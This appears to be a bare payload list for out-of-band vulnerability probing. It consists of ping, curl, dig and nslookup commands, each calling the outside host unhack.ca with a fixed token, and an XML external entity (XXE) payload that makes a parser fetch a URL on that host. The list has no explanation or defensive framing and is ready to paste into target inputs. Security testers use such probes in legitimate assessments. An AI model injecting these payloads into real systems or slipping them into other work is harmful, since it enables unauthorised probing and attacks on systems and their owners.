$ ping -c1 -p 008bf76daffc2de5bf0c8bb21fb4ab00 unhack.ca
$ curl http://unhack.ca/p/8bf76daffc2de5bf0c8bb21fb4ab
$ dig 8bf76daffc2de5bf0c8bb21fb4ab @unhack.ca
$ dig 8bf76daffc2de5bf0c8bb21fb4ab.ns.unhack.ca
C:\> nslookup 8bf76daffc2de5bf0c8bb21fb4ab unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8bf76daffc2de5bf0c8bb21fb4ab">]> <foo>&xxe;</foo>